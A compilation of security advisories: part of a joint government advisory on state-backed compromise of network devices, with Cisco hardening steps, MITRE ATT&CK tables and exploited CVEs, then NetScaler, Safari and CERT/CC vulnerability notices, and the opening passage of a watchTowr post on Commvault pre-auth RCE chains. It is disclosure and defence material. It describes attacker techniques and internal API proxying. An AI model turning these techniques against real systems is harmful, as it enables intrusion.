    • Use Type 6 (AES) key encryption to protect stored secrets (e.g., TACACS+/RADIUS shared secrets or IKE PSKs).
  • Disable outbound connections from the VTYs (e.g., transport output none). This prevents initiating SSH, Telnet, or other client sessions from the device via VTY, reducing its utility as a jump host. Monitor for any changes to this setting.
  • Audit for unexpected enablement of IOS XR host SSH (sshd_operns) on TCP/57722. This is disabled by default, but has been observed being enabled by actors for persistence.
  • When not required, disable the web configuration interface on applicable Cisco networking devices by running no ip http server and no ip http secure-server.
    • If management via a web interface is required, ensure to enable only the HTTPS management interface by running the command ip http secure-server and keep no ip http server configured to prevent unencrypted access via HTTP.
  • Ensure a final deny any any log line is added to all configured ACLs. This ensures that the denied connections are logged so they could be reviewed at a later date.

Mitigating Guest Shell abuse

  • Disable Guest Shell where not operationally required.
    • For IOS XE, run guestshell disable to stop the container. Where supported, disable the IOx subsystem with no iox to prevent container hosting entirely. Confirm with show guestshell / show iox.
    • For NX-OS, run guestshell disable to stop the container. Use guestshell destroy to uninstall it and return resources to the system. Confirm with show guestshell.
  • Where Guest Shell is disabled, restrict (re)enabling Guest Shell.
    • Enforce AAA command authorization (TACACS+/RADIUS) so only approved roles can run guestshell enable, guestshell run bash (IOS XE), run guestshell (NX-OS), guestshell disable/destroy, chvrf, dohost, or IOx-related commands.
  • Where Guest Shell is used:
    • Forward container logs (e.g., journald/systemd inside Guest Shell) to your SIEM. Device syslog does not capture process activity inside the container by default.
    • Configure the VRF used by Guest Shell (management VRF on IOS XE; default VRF on NX-OS unless chvrf is used). Restrict egress to only required destinations (e.g., SIEM/AAA/telemetry collectors) with ACLs.
    • Perform periodic inventories and integrity checks of device storage (e.g., bootflash:) to detect unexpected files created from the container.
    • Create alerts for guestshell disable / guestshell destroy and unexpected chvrf / dohost usage. Consider Cisco Embedded Event Manager (EEM) policies that snapshot state (running processes, container filesystem, storage listings) when these events occur.

Additional Cisco resources:

Resources

Additional information can be found in the following publicly available guidance.

United States resources

United Kingdom resources

International resources

Acknowledgements

The NSA Cybersecurity Collaboration Center, along with the authoring agencies, acknowledge Amazon Web Services (AWS) Security, Cisco Security & Trust, Cisco Talos, Crowdstrike, Google Mandiant, Google Threat Intelligence, Greynoise, Microsoft, PwC Threat Intelligence, and additional industry partners for their contribution to this advisory.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the authoring agencies, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact information

The following contacts are non-exhaustive, and organizations should follow all applicable reporting requirements for a given incident or other event.

United States organizations

  • National Security Agency (NSA)
  • Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)
    • U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (contact@mail.cisa.dhs.gov, 888-282-0870, or reporting online at cisa.gov/report), or your local FBI field office.
    • Methods for initial access are a critical information gap for parties working to understand the scope, scale, and impact of these APT actors. When available, please include the following information regarding the incident:
      • Type of activity and types of equipment affected by or used in the activity;
      • APT actors’ tactics, techniques, and procedures (TTPs) used to conduct initial access and/or lateral movement;
      • Exfiltration infrastructure and associated techniques (Layer 2/Layer 3);
      • Passwords and associated techniques used to encrypt exfiltrated data;
      • Likely or confirmed compromised routing equipment connected to or used by government networks;
      • Insights into how the compromised devices are tasked (i.e., how is traffic of interest selected for collection/redirection);
      • Signs of compromise or persistence beyond the specific network devices themselves (e.g., additional targets, such as network operations staff, IT/corporate email, etc.).
      • Date, time, and location of the incident;
      • Number of people affected;
      • Name of the submitting company or organization; and
      • Designated point of contact.
  • Department of Defense Cyber Crime Center (DC3)

Australian organizations

  • Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

New Zealand organizations

United Kingdom organizations

  • UK National Cyber Security Centre (NCSC)
    • The NCSC—a part of intelligence, security, and cyber agency GCHQ—is the UK’s technical authority on cyber security. UK organizations should report significant cyber security incidents via https://report.ncsc.gov.uk/ (monitored 24/7).
  • Ofcom
    • Ofcom is the UK’s communications regulator and is responsible for enforcing the telecoms security provisions in the Communications Act (2003) and the Telecommunications Security Act (2021). Guidance and contact information on standards, specifications, and other requirements for the UK telecoms industry can be found at https://www.ofcom.org.uk.
    • For general inquiries: networksecurityenquiries@ofcom.org.uk
    • For incident reports: incident@ofcom.org.uk 

Czech Republic organizations

Finnish organizations

Germany organizations

Italian organizations 

Japanese organizations

Polish organizations

Appendix A: MITRE ATT&CK tactics and techniques

See Table 8 through Table 20 for all the threat actor tactics and techniques referenced in this advisory.

Table 8: Reconnaissance

  • Technique Title: Active Scanning
  • ID: T1595
  • Use: Actively scan for open ports and services
  • Technique Title: Gather Victim Network Information: Network Topology
  • ID: T1590.004
  • Use: Leverage configuration files from exploited devices to gather the network topology information

Table 9: Resource Development

  • Technique Title: Acquire Infrastructure: Virtual Private Servers
  • ID: T1583.003
  • Use: Leverage VPS as infrastructure
  • Technique Title: Compromise Infrastructure: Network Devices
  • ID: T1584.008
  • Use: Compromise intermediate routers
  • Technique Title: Obtain Capabilities: Exploits
  • ID: T1588.005
  • Use: Utilize publicly available code (siet.py) to exploit vulnerable devices 
  • Technique Title: Obtain Capabilities: Tool
  • ID: T1588.002
  • Use: Utilize publicly available tooling (e.g., map.tcl, tclproxy.tcl, wodSSHServer) 

Table 10: Initial Access

  • Technique Title: Exploit Public-Facing Application
  • ID: T1190
  • Use: Exploit publicly known CVEs 
  • Technique Title: Trusted Relationship
  • ID: T1199
  • Use: Leverage trusted connections between providers to pivot between networks

Table 11: Execution

  • Technique Title: System Services
  • ID: T1569
  • Use: Executing commands via SNMP
  • Technique Title: Container Administration Command
  • ID: T1609
  • Use: Use Guest Shell to load open-source tools and as a jump point for reconnaissance and follow-on actions in the environment
  • Technique Title: Command and Scripting Interpreter: Python
  • ID: T1059.006
  • Use: Use Python script siet.py 
  • Technique Title: Command and Scripting Interpreter: Network Device CLI
  • ID: T1059.008
  • Use: Use built-in CLI on network devices to execute native commands

Table 12: Persistence

  • Technique Title: Create Account: Local Account
  • ID: T1136.001
  • Use: Create new local users on network devices for persistence
  • Technique Title: Container Service
  • ID: T1543.005
  • Use: Leverage Linux-based Guest Shell containers, natively supported in a variety of Cisco OS software
  • Technique Title: Account Manipulation: SSH Authorized Keys
  • ID: T1098.004
  • Use: Regain entry into environments via SSH into network devices

Table 13: Privilege Escalation

  • Technique Title: Exploitation for Privilege Escalation
  • ID: T1068
  • Use: Exploit CVE-2023-20273 to gain root-level user privileges
  • Technique Title: Brute Force: Password Cracking
  • ID: T1110.002
  • Use: Brute force passwords with weak encryption in obtained configuration files

Table 14: Defense Evasion

  • Technique Title: Obfuscated Files or Information: Command Obfuscation
  • ID: T1027.010
  • Use: Obfuscate paths with “double encoding”
  • Technique Title: Obfuscated Files or Information
  • ID: T1027
  • Use: Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses 
  • Technique Title: Impair Defenses: Disable or Modify System Firewall
  • ID: T1562.004
  • Use: Modify ACLs, adding IP addresses to bypass security policies and permit traffic from a threat actor-controlled IP address
  • Technique Title: Deploy Container
  • ID: T1610
  • Use: Deploy virtual container (e.g., Guest Shell) on network infrastructure to persist and evade monitoring services
  • Technique Title: Indicator Removal
  • ID: T1070
  • Use: Delete and/or clear logs
  • Technique Title: Indicator Removal: Clear Persistence
  • ID: T1070.009
  • Use: Use Guest Shell destroy command to deactivate and uninstall Guest Shell container and return all resources to the system
  • Technique Title: Network Boundary Bridging
  • ID: T1599
  • Use: Abuse peering connections 

Table 15: Credential Access

  • Technique Title: Network Sniffing
  • ID: T1040
  • Use: Passively collect packet capture (PCAP) from networks for configurations and credentials
  • Technique Title: Modify Authentication Process
  • ID: T1556
  • Use: Modify a router’s TACACS+ server configuration to point to an APT actor-controlled IP address to capture authentication attempts or modify AAA configurations to use less secure authentication methods
  • Technique Title: OS Credential Dumping
  • ID: T1003
  • Use: Collect router configuration with weak Cisco Type 7 passwords
  • Technique Title: Brute Force: Password Cracking
  • ID: T1110.002
  • Use: Brute force weak hashed Cisco Type 5 password

Table 16: Discovery

  • Technique Title: System Information Discovery
  • ID: T1082
  • Use: Leverage CLI on network devices to gather system information
  • Technique Title: System Network Configuration Discovery
  • ID: T1016
  • Use: Enumerate interfaces/VRFs/routing/ACLs and related network settings from the device CLI/SNMP

Table 17: Lateral Movement

  • Technique Title: Remote Services
  • ID: T1021
  • Use: Enumerate and alter the SNMP configurations for other devices in the same community group
  • Technique Title: Remote Services: SSH
  • ID: T1021.004
  • Use: Enable SSH servers and open external-facing ports on network devices to maintain encrypted remote access

Table 18: Collection

  • Technique Title: Archive Collected Data
  • ID: T1560
  • Use: Compile configurations and packet captures
  • Technique Title: Data from Configuration Repository: SNMP (MIB Dump)
  • ID: T1602.001
  • Use: Target MIB to collect network information via SNMP
  • Technique Title: Data from Configuration Repository: Network Device Configuration Dump
  • ID: T1602.002
  • Use: Acquire credentials by collecting network device configurations
  • Technique Title: Data from Local System
  • ID: T1005
  • Use: Passively collect PCAP from specific ISP customer networks

Table 19: Command and Control

  • Technique Title: Proxy
  • ID: T1090
  • Use: Use VPS for C2
  • Technique Title: Proxy: Multi-hop Proxy
  • ID: T1090.003
  • Use: Leverage open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control and operator access
  • Technique Title: Application Layer Protocol
  • ID: T1071
  • Use: Open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS)
  • Technique Title: Non-Standard Port
  • ID: T1571
  • Use: Utilize non-standard ports to evade detection by security monitoring tools that focus on standard port activity
  • Technique Title: Protocol Tunneling
  • ID: T1572
  • Use: Create tunnels over protocols such as GRE, mGRE, or IPsec on network devices
  • Technique Title: Non-Application Layer Protocol
  • ID: T1095
  • Use: Use GRE/IPsec to carry C2 over non-application layer protocols

Table 20: Exfiltration

  • Technique Title: Exfiltration over Alternative Protocol
  • ID: T1048.003
  • Use: Use tunnels, such as IPsec and GRE, to conduct C2 and exfiltration activities

Appendix B: CVEs exploited

Table 21: Exploited CVE information

  • CVE : CVE-2024-21887
  • Vendor/Product : Ivanti Connect Secure and Ivanti Policy
  • Details: Command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass)
  • CVE : CVE-2024-3400
  • Vendor/Product : Palo Alto Networks PAN-OS GlobalProtect
  • Details: Arbitrary file creation leading to OS command injection, allowing for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations
  • CVE : CVE-2023-20273
  • Vendor/Product : Cisco IOS XE
  • Details: Web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root)
  • CVE : CVE-2023-20198
  • Vendor/Product : Cisco IOS XE
  • Details: Authentication bypass vulnerability to create unauthorized administrative accounts
  • CVE : CVE-2018-0171
  • Vendor/Product : Cisco IOS and IOS XE
  • Details: Smart Install remote code execution vulnerability

Appendix C: MITRE D3FEND Countermeasures

Table 22: MITRE D3FEND countermeasures

  • Countermeasure Title : Platform Monitoring 
  • ID : D3-PM 
  • Details : Regularly review network device (especially router) logs and configurations for evidence of any unexpected, unapproved, or unusual activity, especially for changes to network tunnels, AAA configurations, ACLs, packet captures or network mirroring, and virtual containers
  • Countermeasure Title : Network Traffic Community Deviation
  • ID : D3-NTCD
  • Details : Check for unexpected GRE or other tunneling protocols, unexpected TACACS+ or RADIUS servers, or other unusual traffic
  • Countermeasure Title : Outbound Traffic Filtering 
  • ID : D3-OTF 
  • Details : Disable outbound connections from management interfaces
  • Countermeasure Title : Application Configuration Hardening 
  • ID : D3-ACH 
  • Details : Disable all unused ports and protocols (both traffic and management protocols), disable Cisco smart install, disable Cisco Guest Shell, use only strong cryptographic algorithms
  • Countermeasure Title : Change Default Password
  • ID : D3-CFP
  • Details : Change all default administrative credentials and SNMP community strings
  • Countermeasure Title : Credential Hardening 
  • ID : D3-CH 
  • Details : Disable password authentication where possible, use strong PKI-based or multifactor authentication, use strong cryptographic password storage settings (i.e., Cisco Type 8), and use lockouts to slow brute force attempts
  • Countermeasure Title : Software Update 
  • ID : D3-SU 
  • Details : Update software to patch known vulnerabilities and upgrade devices to supported versions
  • Countermeasure Title : Network Isolation 
  • ID : D3-NI 
  • Details : Implement management-plane isolation and control-plane policing (CoPP) to keep all network management traffic separate from data plane traffic
  • Countermeasure Title : Inbound Traffic Filtering 
  • ID : D3-ITF 
  • Details : Ensure management VRFs cannot receive traffic from the data plane


Related vulnerabilities: CVE-2024-21887CVE-2024-3400CVE-2023-20198CVE-2018-0171CVE-2023-46805CVE-2023-20273

NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2025-7775, CVE-2025-7776 and CVE-2025-8424 Article Id : CTX694938 Last Modified Date : 08-26-2025 12:11 Created Date : 08-26-2025 11:40 Article Record Type : Security Bulletin Summary Severity - Critical Description of Problem

Multiple vulnerabilities have been discovered in NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway). Refer below for further details. Affected Versions

The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities:

NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-47.48
NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-59.22
NetScaler ADC 13.1-FIPS and NDcPP BEFORE 13.1-37.241-FIPS and NDcPP
NetScaler ADC 12.1-FIPS and NDcPP BEFORE 12.1-55.330-FIPS and NDcPP

Additional Note: Secure Private Access on-prem or Secure Private Access Hybrid deployments using NetScaler instances are also affected by the vulnerabilities. Customers need to upgrade these NetScaler instances to the recommended NetScaler builds to address the vulnerabilities.

This bulletin only applies to customer-managed NetScaler ADC and NetScaler Gateway. Cloud Software Group upgrades the Citrix-managed cloud services and Citrix-managed Adaptive Authentication with the necessary software updates. Details

NetScaler ADC and NetScaler Gateway contain the vulnerability mentioned below:

CVE-ID Description Pre-conditions CWE CVSSv4

CVE-2025-7775

Memory overflow vulnerability leading to Remote Code Execution and/or Denial of Service

NetScaler must be configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server

(OR)

NetScaler ADC and NetScaler Gateway 13.1, 14.1, 13.1-FIPS and NDcPP: LB virtual servers of type (HTTP, SSL or HTTP_QUIC) bound with IPv6 services or servicegroups bound with IPv6 servers

(OR)

NetScaler ADC and NetScaler Gateway 13.1, 14.1, 13.1-FIPS and NDcPP: LB virtual servers of type (HTTP, SSL or HTTP_QUIC) bound with DBS IPv6 services or servicegroups bound with IPv6 DBS servers

(OR)

CR virtual server with type HDX

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

CVSS v4.0 Base Score: 9.2

(CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)

CVE-2025-7776

Memory overflow vulnerability leading to unpredictable or erroneous behavior and Denial of Service

NetScaler must be configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) with PCoIP Profile bounded to it

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

CVSS v4.0 Base Score: 8.8

(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:L)

CVE-2025-8424

Improper access control on the NetScaler Management Interface

Access to NSIP, Cluster Management IP or local GSLB Site IP or SNIP with Management Access

CWE-284: Improper Access Control

CVSS v4.0 Base Score: 8.7

(CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L) What Customers Should Do

Exploits of CVE-2025-7775 on unmitigated appliances have been observed.

Cloud Software Group strongly urges affected customers of NetScaler ADC and NetScaler Gateway to install the relevant updated versions as soon as possible.

NetScaler ADC and NetScaler Gateway 14.1-47.48 and later releases
NetScaler ADC and NetScaler Gateway 13.1-59.22 and later releases of 13.1
NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.241 and later releases of 13.1-FIPS and 13.1-NDcPP
NetScaler ADC 12.1-FIPS and 12.1-NDcPP 12.1-55.330 and later releases of 12.1-FIPS and 12.1-NDcPP

Note: NetScaler ADC and NetScaler Gateway versions 12.1 and 13.0 are now End Of Life (EOL) and no longer supported. Customers are recommended to upgrade their appliances to one of the supported versions that address the vulnerabilities.

CVE-2025-7775:

Customers can determine if they have an appliance configured as one of the following by inspecting their NetScaler Configuration for the specified strings

An Auth Server (AAA Vserver)

add authentication vserver .*

A Gateway (VPN Vserver,  ICA Proxy, CVPN, RDP Proxy)

add vpn vserver .*

LB vserver of Type HTTP_QUIC|SSL|HTTP bound with IPv6 services or servicegroups bound with IPv6 servers:

enable ns feature lb.*

add serviceGroup .* (HTTP_QUIC|SSL|HTTP) .*

add server .* <IPv6>

bind servicegroup <servicegroup name> <IPv6 server> .*

add lb vserver .* (HTTP_QUIC|SSL|HTTP) .*

bind lb vserver .* <ipv6 servicegroup name>

LB vserver of Type HTTP_QUIC|SSL|HTTP bound with DBS IPv6 services or servicegroups bound with IPv6 DBS servers:

enable ns feature lb.*

add serviceGroup .* (HTTP_QUIC | SSL | HTTP) .*

add server .* <domain> -queryType AAAA

add service .* <IPv6 DBS server >

bind servicegroup <servicegroup name> <IPv6 DBS server> .*

add lb vserver .* (HTTP_QUIC | SSL | HTTP) .*

bind lb vserver .* <ipv6 servicegroup name>

CR vserver with type HDX:

add cr vserver .* HDX .*

CVE-2025-7776:

Customers can determine if they have an appliance configured by inspecting their ns.conf file for the specified strings

A Gateway (VPN vserver) with with PCoIP Profile bounded to it

add vpn vserver .* -pcoipVserverProfileName .*

Workarounds/ Mitigating Factors

None

Acknowledgement

Cloud Software Group thanks Jimi Sebree of Horizon3.ai, Jonathan Hetzer, of Schramm & Partnerfor and François Hämmerli for working with us to protect Citrix customers.

Reference: https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX694938


Related vulnerabilities: CVE-2025-8424CVE-2025-7775CVE-2025-7776

About the security content of Safari 18.6 - Apple Support

For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security releases page.

Apple security documents reference vulnerabilities by CVE-ID when possible.

For more information about security, see the Apple Product Security page.

Released July 30, 2025

Available for: macOS Ventura and macOS Sonoma

Impact: Processing a file may lead to memory corruption

Description: This is a vulnerability in open source code and Apple Software is among the affected projects. The CVE-ID was assigned by a third party. Learn more about the issue and CVE-ID at cve.org.

CVE-2025-7425: Sergei Glazunov of Google Project Zero

Available for: macOS Ventura and macOS Sonoma

Impact: Processing maliciously crafted web content may lead to memory corruption

Description: This is a vulnerability in open source code and Apple Software is among the affected projects. The CVE-ID was assigned by a third party. Learn more about the issue and CVE-ID at cve.org.

CVE-2025-7424: Ivan Fratric of Google Project Zero

Available for: macOS Ventura and macOS Sonoma

Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash

Description: A logic issue was addressed with improved checks.

CVE-2025-24188: Andreas Jaegersberger & Ro Achterberg of Nosebeard Labs

Available for: macOS Ventura and macOS Sonoma

Impact: Processing maliciously crafted web content may lead to universal cross site scripting

Description: This issue was addressed through improved state management.

WebKit Bugzilla: 285927

CVE-2025-43229: Martin Bajanik of Fingerprint, Ammar Askar

Available for: macOS Ventura and macOS Sonoma

Impact: Visiting a malicious website may lead to address bar spoofing

Description: The issue was addressed with improved UI.

WebKit Bugzilla: 294374

CVE-2025-43228: Jaydev Ahire

Available for: macOS Ventura and macOS Sonoma

Impact: Processing maliciously crafted web content may disclose sensitive user information

Description: This issue was addressed through improved state management.

WebKit Bugzilla: 292888

CVE-2025-43227: Gilad Moav

Available for: macOS Ventura and macOS Sonoma

Impact: Processing maliciously crafted web content may lead to memory corruption

Description: The issue was addressed with improved memory handling.

WebKit Bugzilla: 291742

CVE-2025-31278: Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei

WebKit Bugzilla: 291745

CVE-2025-31277: Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei

WebKit Bugzilla: 293579

CVE-2025-31273: Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei

Available for: macOS Ventura and macOS Sonoma

Impact: A download's origin may be incorrectly associated

Description: A logic issue was addressed with improved checks.

WebKit Bugzilla: 293994

CVE-2025-43240: Syarif Muhammad Sajjad

Available for: macOS Ventura and macOS Sonoma

Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash

Description: The issue was addressed with improved memory handling.

WebKit Bugzilla: 292599

CVE-2025-43214: shandikri working with Trend Micro Zero Day Initiative, Google V8 Security Team

WebKit Bugzilla: 292621

CVE-2025-43213: Google V8 Security Team

WebKit Bugzilla: 293197

CVE-2025-43212: Nan Wang (@eternalsakura13) and Ziling Chen

Available for: macOS Ventura and macOS Sonoma

Impact: Processing web content may lead to a denial-of-service

Description: The issue was addressed with improved memory handling.

WebKit Bugzilla: 293730

CVE-2025-43211: Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei

Available for: macOS Ventura and macOS Sonoma

Impact: Processing maliciously crafted web content may disclose internal states of the app

Description: An out-of-bounds read was addressed with improved input validation.

WebKit Bugzilla: 294182

CVE-2025-43265: HexRabbit (@h3xr4bb1t) from DEVCORE Research Team

Available for: macOS Ventura and macOS Sonoma

Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash

Description: A use-after-free issue was addressed with improved memory management.

WebKit Bugzilla: 295382

CVE-2025-43216: Ignacio Sanmillan (@ulexec)

Available for: macOS Ventura and macOS Sonoma

Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash

Description: This is a vulnerability in open source code and Apple Software is among the affected projects. The CVE-ID was assigned by a third party. Learn more about the issue and CVE-ID at cve.org.

WebKit Bugzilla: 296459

CVE-2025-6558: Clément Lecigne and Vlad Stolyarov of Google's Threat Analysis Group

We would like to acknowledge Sergei Glazunov of Google Project Zero for their assistance.

We would like to acknowledge Ivan Fratric of Google Project Zero for their assistance.

We would like to acknowledge Ameen Basha M K for their assistance.

We would like to acknowledge Google V8 Security Team, Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei, rheza (@ginggilBesel) for their assistance.

Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.

Published Date: July 30, 2025


Related vulnerabilities: CVE-2025-6558CVE-2025-31277CVE-2025-43240CVE-2025-43228CVE-2025-24188CVE-2025-31273CVE-2025-31278CVE-2025-43213CVE-2025-43227CVE-2025-43229CVE-2025-43211CVE-2025-7424CVE-2025-43265CVE-2025-43216CVE-2025-7425CVE-2025-43214CVE-2025-43212

Description

Two primary issues exist in Workhorse's design: Plaintext Database Connection String

CVE-2025-9037 The software stores the SQL Server connection string in a plaintext configuration file located alongside the executable. In typical deployments, this directory is on a shared network folder hosted by the same server running the SQL database. If SQL authentication is used, credentials in this file could be recovered by anyone with read access to the directory. Unauthenticated Database Backup Functionality

CVE-2025-9040 The application’s “File” menu, accessible even from the login screen, provides a database backup feature that executes an MS SQL Server Express backup and allows saving the resulting .bak file inside an unencrypted ZIP archive. This backup can be restored to any SQL Server instance without requiring a password.

An attacker with physical access to a workstation, malware capable of reading network files, or via social engineering could exfiltrate full database backups without authentication. Impact

An attacker could obtain the complete database, potentially exposing sensitive personally identifiable information (PII) such as Social Security numbers, full municipal financial records, and other confidential data. Possession of a database backup could also enable data tampering, potentially undermining audit trails and compromising the integrity of municipal financial operations. Solution

The CERT/CC recommends updating the software to version 1.9.4.48019 as soon as possible. Other potential mitigations include: * Restricting access to the application directory via NTFS permissions * Enabling SQL Server encryption and Windows Authentication * Disabling the backup feature at the vendor or configuration level * Using network segmentation and firewall rules to limit database access Acknowledgements

This issue was reported during a security audit and new server installation by James Harrold, Sparrow IT Solutions. This document was written by Timur Snoke.


Related vulnerabilities: CVE-2025-9040CVE-2025-9037

Guess Who Would Be Stupid Enough To Rob The Same Vault Twice? Pre-Auth RCE Chains in Commvault

We’re back, and we’ve finished telling everyone that our name was on the back of Phrack!!!!1111

Whatever, nerds.

Today, we're back to scheduled content. Like our friendly neighbourhood ransomware gangs and APT groups, we've continued to spend irrational amounts of time looking at critical enterprise-grade solutions - the ones that we think are made of the really good string.

If you recall, in a previous adventure, we found vulnerabilities in Commvault that allowed us to turn Commvault's enterprise Backup and Replication solution -trusted by some of the largest organizations in the world - into a Secure-By-Design Remote Code Execution delivery service.

Stolen shamelessly from our last blog post:

What Is It?

Commvault is a self-described Data Protection or Cyber Resilience solution; fancy words aside, product market review sites categorise Commvault as an Enterprise Backup and Replication suite. This ability to read tells us that Commvault offers integrations and supports a wide array of technologies, including cloud providers, databases, SOARs, hypervisors, and more.

To gain an idea of the type of customers that use the Commvault solution, we can casually glance at their customer stories and logos - quickly revealing that the target audience for their software includes large enterprises, MSPs, and human sweatshops.

As we have seen throughout history, and repeatedly with our friends at Veeam over the Veeam-years - Backup and Replication solutions represent a high-value target for threat actors.

While discovering and identifying CVE-2025-34028 that we've discussed before, we actually did a thing and found further weaknesses - ultimately culminating in four more vulnerabilities discussed today that, when combined, evolve like your favourite Pokémon (Labubu's but for old people) into two distinct pre-authentication Remote Code Execution chains.

As always, the chains have unique qualities:

  • One chain applies to any unpatched Commvault instance, while,
  • The second chain requires specific, common conditions to be met to be exploitable in many environments.

As always, clients using our Preemptive Exposure Management technology – the watchTowr Platform – knew about their exposure as soon as we did.

So, What Are We Discussing Today?

Today's screaming into the void aims to take you on a journey into two unique pre-authentication RCE chains in Commvault discovered in version 11.38.20.

First Pre-Auth RCE Chain – Works everywhere

Second Pre-Auth RCE Chain – Works if the built-in admin password hasn’t been changed since installation

Architecture Time, Folks

Commvault Architecture - API Proxying to RestServlet IIS

In our previous Commvault research, we noted that most internet-exposed instances run a Tomcat server on port 443, while an IIS service listens on port 81 but is rarely exposed externally. Commvault’s architecture bridges these two components.

The Java front-end on Tomcat proxies many requests under /commandcenter/RestServlet to backend .NET APIs on localhost:81. These APIs, hosted in IIS, implement much of the core functionality with more than 5,600 endpoints and are normally unreachable from the outside.

By capturing local traffic in Wireshark while fuzzing known endpoints, we saw requests like:

/commandcenter/RestServlet/Test/Echo/watchTowr

proxied internally to:

http://localhost:81/Commandcenter/CSWebService.svc/Test/Echo/watchTowr

Not one to waste a meme from our previous Commvault research, we present:

To understand more about these endpoints, we reviewed the DLLs available in F:\Program Files\Commvault\ContentStore\CVSearchService\Bin , allowing us to understand how routes are formatted.

We found two API implementations in this configuration, one in a .NET 8 application and one in a .NET Framework application. In our review, we identified their routes in the following format:

        [OperationContract]
        [WebGet(UriTemplate = "/Test/EchoString/{text}", ResponseFormat = WebMessageFormat.Json)]
        string EchoString_Get(string text);

        [HttpGet("Test/EchoString/{text}")]
        public IActionResult EchoString_Get(string text)
        {
            string value = string.Empty;
            try
            {
                value = this._Echo(text);
            }
            catch (Exception ex)
            {
                base.logger.LogException(ex, "EchoString_Get", 91);
                value = ex.ToString();
            }
            return this.Ok(value);
        }


If an API route is implemented in both the .NET 8 and .NET Framework applications, the request defaults to the .NET 8 version. These can be triggered as follows:

GET /commandcenter/RestServlet/Test/Echo/watchTowr HTTP/1.1
Host: Hostname

HTTP/1.1 200 
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=AE0AED35ED937296B4B69BB455B040DC; Path=/commandcenter; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self'  https:; script-src 'self' 'unsafe-eval' 'nonce-1vslsbgrv20nq' <https://code.highcharts.com> <https://www.googletagmanager.com> ; img-src 'self' data: <https://flagcdn.com> https://*.mapbox.com/ https://*.gstatic.com ; img-src 'self' <https://flagcdn.com> blob: data: https://*.mapbox.com/ https://*.gstatic.com ; connect-src 'self' <https://ipapi.co/> https://*.mapbox.com/ <https://git.commvault.com> <https://api-engineer.azurewebsites.net/> <https://edit.commvault.com:11316> <http://deployer.commvault.com:8888/> <https://deployer.commvault.com:8888/> <https://www.google-analytics.com/>  ; object-src 'none' ; worker-src 'self' blob:  ; child-src 'self' blob: data: <https://export.highcharts.com> <https://www.youtube.com/> https://*.vimeo.com/ https://*.vimeocdn.com/ <https://cvvectorstore1.blob.core.windows.net/> ; style-src 'self' 'unsafe-inline'  <https://fonts.googleapis.com> <https://stackpath.bootstrapcdn.com>; base-uri 'self' ; font-src 'self' data: <https://fonts.gstatic.com> ; upgrade-insecure-requests; report-uri https:///commandcenter/consoleError.do;
Permissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=();
X-UA-Compatible: IE=Edge,chrome=1
Referrer-Policy: strict-origin-when-cross-origin
Server: Commvault WebServer
WEBSERVERCORE-FLAG: true
Date: Fri, 02 May 2025 05:24:41 GMT
Content-Type: text/plain;charset=utf-8
Content-Length: 21

Message:
watchTowr


So, as a high-level summary:

  • Requests to /commandcenter/RestServlet are first handled by the Java front-end, for example /commandcenter/RestServlet/Test/Echo/watchTowr.
  • The Java layer does not process these API calls itself. Instead, it forwards them to a .NET API backend listening on localhost:81, passing along the request path, headers, and body.
  • This allows an external request to reach the internal .NET API, which is normally not exposed.

